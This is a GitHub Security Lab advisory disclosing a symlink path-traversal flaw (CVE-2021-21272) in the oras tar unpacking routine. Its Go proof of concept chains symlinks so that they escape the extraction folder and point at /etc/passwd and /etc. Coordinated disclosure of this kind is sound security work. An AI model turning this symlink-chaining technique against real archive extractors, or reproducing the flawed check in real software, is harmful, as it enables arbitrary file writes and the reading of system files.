skip to content
Back to GitHub.com
Home Bounties CodeQL Research Advisories Get Involved Events
February 3, 2021

GHSL-2020-257: The unsafe handling of symbolic links in an unpacking routine in oras - CVE-2021-21272

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.

Product

oras

Tested Version

Latest commit at the time of reporting (November 27, 2020).

Details

The routine extractTarDirectory attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent to .. (allowed, because subdir/.. falls within the archive root) and then linking subdir/parent/escapes to .. results in a symbolic link pointing to the tarball’s parent directory, contrary to the routine’s goals.

Proof of concept, using a version of extractTarDirectory tweaked to accept an array of tar headers instead of working from an actual tar archive:

package main

import (
	"archive/tar"
	"fmt"
  "os"
	"path/filepath"
  "strings"
)

func main() {
	var headers []tar.Header = make([]tar.Header, 4)

	headers[0].Name = "foo/subdir/"
	headers[0].Typeflag = tar.TypeDir

	headers[1].Name = "foo/subdir/parent"
	headers[1].Linkname = ".."
	headers[1].Typeflag = tar.TypeSymlink

	headers[2].Name = "foo/subdir/parent/passwd"
	headers[2].Linkname = "../../etc/passwd"
	headers[2].Typeflag = tar.TypeSymlink

  headers[3].Name = "foo/subdir/parent/etc"
	headers[3].Linkname = "../../etc"
	headers[3].Typeflag = tar.TypeSymlink

  err := extractTarDirectory("/tmp/extracthere", "foo", headers)
  fmt.Println(err)

}

func extractTarDirectory(root string, prefix string, headers []tar.Header) error {
	for _, header := range headers {
		// Name check
		name := header.Name
		path, err := filepath.Rel(prefix, name)
		if err != nil {
			return err
		}
		if strings.HasPrefix(path, "../") {
			return fmt.Errorf("%q does not have prefix %q", name, prefix)
		}
		path = filepath.Join(root, path)

		// Create content
		switch header.Typeflag {
    case tar.TypeDir:
		 	err = os.MkdirAll(path, 0755)
		case tar.TypeSymlink:
			err = os.Symlink(header.Linkname, path)
		default:
			continue // Non-regular files are skipped
		}
		if err != nil {
			return err
		}

		// Change access time and modification time if possible (error ignored)
		os.Chtimes(path, header.AccessTime, header.ModTime)
	}
  return nil
}


Impact

This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.

CVE

Resources

GHSA

Credit

This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-257 in any communication regarding this issue.